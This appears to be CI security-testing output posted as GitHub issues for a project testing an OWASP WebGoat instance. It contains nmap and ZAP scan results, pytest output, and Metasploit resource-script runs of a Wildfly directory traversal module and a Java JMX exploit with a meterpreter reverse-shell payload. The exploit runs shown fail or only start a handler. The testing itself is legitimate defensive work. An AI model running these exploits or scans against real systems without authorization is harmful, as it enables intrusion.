Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 2s (10.2 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.224.35.6

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

```
[*] Msf::OptionValidateError The following options failed to validate: RHOSTS
resource (./src/exploit/wildflydir_traversal.rc)> exit
```

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```
[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
resource (./src/exploit/javajmxreversehttps.rc)> show options
```

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

RHOSTS =>

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

[*] Payload Handler Started as Job

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 786

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.224.35.6

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 1s (11.7 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-07 07:19 UTC

Nmap scan report for 4.224.35.6

Host is up (0.21s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 74:52:8e:54:e6:b2:9c:f5:5b:39:62:85:f9:14:4b:4d (ECDSA)

|_ 256 8f:cf:72:0c:de:dc:08:28:1a:34:44:04:0d:e5:28:e1 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 07 Dec 2023 07:23:21 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 07 Dec 2023 07:23:20 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 07 Dec 2023 07:24:02 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Thu, 07 Dec 2023 07:23:20 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Thu, 07 Dec 2023 07:23:38 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=12/7%Time=657172E8%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Thu, 07 Dec 2023 07:23:2

SF:0 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Thu, 07\x
SF:20Dec 2023 07:23:21 GMT
")%r(RTSPRequest,42,"HTTP/1.1\n
SF:x20400 Bad Request Content-Length: 0 Connection: clos
SF:e
")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n
SF:nConnection: close Content-Length: 0 Date: Thu, 07
SF:0Dec 2023 07:23:21 GMT
")%r(Socks5,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-
SF:Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:400 Bad Request Content-Length: 0 Connection: close
SF:
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont
SF:ent-Length: 0 Connection: close
")%r(TerminalServerCook
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400\n
SF:x20Bad Request Content-Length: 0 Connection: close
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co
SF:Content-Length: 0 Connection: close
")%r(WMSRequest,42,"H
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connection
SF:: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");

=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=12/7%Time=657172E8%P=x86_64-pc-linux-
gnu%r(Ge
SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close
SF: Content-Length: 0 Date: Thu, 07 Dec 2023 07:23:2
SF:0 GMT
")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request\n
SF:r Content-Length: 0 Connection: close
")%r(ibm-db2-das
SF:,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn
SF:ection: close
")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400
SF:Bad Request Content-Length: 0 Connection: close
"
SF:)%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(HTTPOptions,65,"HTTP/1.1\n
SF:x20404 Not Found Connection: close Content-Length: 0\n
SF:r Date: Thu, 07 Dec 2023 07:23:38 GMT
")%r(RT
SF:SPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:0 Connection: close
")%r(Help,42,"HTTP/1.1 400 Bad\n
SF:x20Request Content-Length: 0 Connection: close

"))%r(

SF:SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length:

SF: 0 Connection: close

"))%r(TerminalServerCookie,42,"HTTP

SF:/1.1 400 Bad Request Content-Length: 0 Connection:\x

SF:20close

"))%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

"))%r(Kerberos,

SF:42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conne

SF:ction: close

"))%r(SMBProgNeg,42,"HTTP/1.1 400 Bad R

SF:equst Content-Length: 0 Connection: close

"))%r(Four

SF:OhFourRequest,65,"HTTP/1.1 404 Not Found Connection: cl

SF:ose Content-Length: 0 Date: Thu, 07 Dec 2023 07

SF::24:02 GMT

"))%r(LPDString,42,"HTTP/1.1 400 Bad Requ

SF:est Content-Length: 0 Connection: close

"))%r(LDAPSea

SF:rchReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

"))%r(SIPOptions,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Firewall 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Firewall 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5322.28 ms 4.224.35.6

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 330.21 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-07 07:25 UTC

Nmap scan report for 4.224.35.6

Host is up (0.21s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-07 07:25 UTC

Nmap scan report for 4.224.35.6

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 785

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 784

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 783

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.23.2, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 26.59s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 782

GitHub Issue URL : [Here!](#)

- Site: <http://4.188.249.196:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.188.249.196:8080/WebGoat/login>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.188.249.196:8080/>

- <http://4.188.249.196:8080/robots.txt>
- <http://4.188.249.196:8080/sitemap.xml>
- <http://4.188.249.196:8080/WebGoat/login>
- **User Agent Fuzzer** [10104] total: 12:
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - <http://4.188.249.196:8080/WebGoat/start.mvc>
 - ..

View the [following link](#) to download the report. RunnerID:708322232

- Site: <http://4.224.35.6:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://4.224.35.6:8080/>
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/sitemap.xml>
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://4.224.35.6:8080/>
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/sitemap.xml>
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://4.224.35.6:8080/>
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/sitemap.xml>
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://4.224.35.6:8080/>
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/sitemap.xml>
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.224.35.6:8080/>
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/sitemap.xml>
 - <http://4.224.35.6:8080/WebGoat/login>

View the [following link](#) to download the report. RunnerID:7124934061

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 781

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 2s (7243 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.188.249.196

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

```
[*] Msf::OptionValidateError The following options failed to validate: RHOSTS
resource (./src/exploit/wildflydir_traversal.rc)> exit
```

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```
[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
resource (./src/exploit/javajmxreversehttps.rc)> show options
```

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

